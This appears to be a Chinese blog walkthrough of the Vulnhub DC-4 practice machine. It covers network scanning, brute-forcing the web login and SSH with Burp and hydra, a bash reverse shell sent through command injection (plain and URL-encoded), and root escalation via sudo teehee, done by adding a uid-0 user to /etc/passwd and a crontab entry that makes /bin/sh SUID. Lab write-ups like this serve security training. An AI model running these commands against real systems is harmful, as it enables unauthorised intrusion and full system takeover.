Vulnhub DC-4

一、环境搭建

下载链接:https://www.vulnhub.com/entry/dc-4,313/

解压后用VMware打开,导入虚拟机

网卡配置看个人习惯,我喜欢NAT

二、信息搜集

1.arp-scan 扫出ip

arp-scan 192.168.124.0/24

2.Nmap 扫描端口

扫描全端口,怕漏掉信息

nmap -sV -p 1-65535 -T4 -A

只开了22和80,留意一下系统版本 提权可能会有用

3.扫web目录


三、漏洞发现

打开页面发现是一个需要登陆的地方,丢到bp爆破一下

成功爆出 账号:admin 密码:happy

漏洞利用

登陆后发下如下图一个可以执行命令的地方

比如第一个执行的是ls -l ,利用bp抓包发现可以执行任意命令

细思恐极...直接弹shell试试

echo "bash -i >& /dev/tcp/192.168.124.141/22222 0>&1" | bash

这里注意提交的命令需要URL编码,不然不会被正确解析

%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%2f%32%32%32%32%32%20%30%3e%26%31

看了看passwd文件发现有几个普通账户

既然还有22端口开着,那就先拿这几个用户入手。这里对jim下手

发现/home/jim/backups目录下有old-passwords.bak看着像备份密码的文件(果不其然,又要爆破)

hydra爆破22端口

hydra -l jim -P /usr/local/DC-4/jim-passwords.txt -vV -o /usr/local/DC-4/ssh-result.txt 192.168.124.160 ssh

-vV :显示详细输出过程
-o :将结果输出到指定文件

ssh登录 账户: jim 密码: jibril04

提权

将提权版本放到exp库中搜索,无果。

SUID提权

尝试了一下sudo -l ,无果。

搜索具备suid属性的文件

 find / -perm -u=s -type f 2>/dev/null

发现没有熟悉的find命令(难过ing)但是发现了有个奇怪的test.sh

看看这个文件是做什么的

是一个jim用户创建的可以执行命令的文件,查询得知这个文件执行命令依然是用jim用户的权限而不是root所以也不能提权。

查询jim用户可以写的文件

find / -writable -type f 2>/dev/null | grep -v "/proc/"

发现有个邮件,看看是啥

发现了charles用户给jim用户他的密码....

ssh一下,发现该用户可以利用sudo无密码使用teehee且是root权限

发现此命令通过 -a 参数向别的文件写入内容

查询得知有两种思路

  1. 修改passwd文件,添加一个root权限的用户
  2. 写入定时任务,开启一个root权限的shell环境

修改passwd文件

sudo teehee -a "Zh1z3ven::0:0:::/bin/bash" > /etc/passwd
charles@dc-4:/usr/bin$ echo "Zh1z3ven::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Zh1z3ven::0:0:::/bin/bash
charles@dc-4:/usr/bin$ su Zh1z3ven
root@dc-4:/usr/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/usr/bin#

写入定时任务

向/etc/crontab写入一个定时任务创建一个4777属性的/bin/sh

4代表SUID权限

SUID:即为当文件(或命令,但linux一切皆文件~)具有SUID属性时,执行该文件的用户会临时拥有文件拥有者的权限。所以当时test.sh不可以提权,因为文件是jim的。

写入定时任务

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

已具有suid属性的/bin/sh

【Vulnhub】 DC-4 靶机的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  7. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  10. vulnhub之GoldenEye-v1靶机

    靶机:virtualbox  自动获取 攻击:kali linux    自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...

随机推荐

  1. leetcode 面试题 17.22. 单词转换(DFS+回溯)

    题目描述 思路分析 这题回溯,先想出它的空间解是什么,这里空间解,其实就是给的原字符串到结束字符串中间的变形过程,那么就可以容易的画出一个解空间树,用深度搜索进行搜索, 剪枝后,进入下一个维度,再进行 ...

  2. CG-CTF WxyVM

    一. 之前一直以为虚拟机是那种vmp的强壳,下午看了一些文章才逐渐明白虚拟机这个概念,目前ctf中题目出现的都是在程序中相等于内嵌了一个虚拟机,将程序代码转换成自己定义的指令,通过内嵌的虚拟机进行解释 ...

  3. Spring Boot 2.x基础教程:使用@Scheduled实现定时任务

    我们在编写Spring Boot应用中经常会遇到这样的场景,比如:我需要定时地发送一些短信.邮件之类的操作,也可能会定时地检查和监控一些标志.参数等. 创建定时任务 在Spring Boot中编写定时 ...

  4. 从源码分析Hystrix工作机制

    一.Hystrix解决了什么问题? 在复杂的分布式应用中有着许多的依赖,各个依赖都有难免在某个时刻失败,如果应用不隔离各个依赖,降低外部的风险,那容易拖垮整个应用. 举个电商场景中常见的例子,比如订单 ...

  5. C语言:编译具体过程及隐藏

    对于平常应用程序的开发,很少有人会关注编译和链接的过程,因为我们使用的工具一般都是流行的集成开发环境(IDE),比如 Visual Studio.Dev C++.C-Free 等.这些功能强大的 ID ...

  6. [刘阳Java]_程序员Java编程进阶的5个注意点,别编程两三年还是增删改查

    此文章也是关注网上好几篇技术文章后,今天分享出来.因为,总有在程序学习路上的小伙伴会感到迷茫.而迷茫存在的情况如下 第一种:在大学学习中出现的迷茫,不知道Java到底要学什么.学习Java的标准是什么 ...

  7. 【学习笔记】conda总结

    conda常用命令 conda create -n name python=x.x #创建环境 conda activate name #进入环境 conda deactivate #退出环境 con ...

  8. AT2390 Games on DAG

    AT2390 Games on DAG 题意 \(1,2\) 号点各一个石头,每次沿边移动一个石头,不能动者输.求所有连边子集中先手胜的情况. 思路 发现对于两个石头的 SG 函数是独立的,输者两个石 ...

  9. 【模拟】玩具谜题 luogu-1563

    题目描述 小南有一套可爱的玩具小人, 它们各有不同的职业. 有一天, 这些玩具小人把小南的眼镜藏了起来. 小南发现玩具小人们围成了一个圈,它们有的面朝圈内,有的面朝圈外.如下图: 这时singer告诉 ...

  10. bootstrap与vue的区别是什么?(十七)

    Bootstrap Bootstrap是美国Twitter公司的设计师Mark Otto和Jacob Thornton合作基于HTML.CSS.JavaScript 开发的简洁.直观.强悍的前端开发框 ...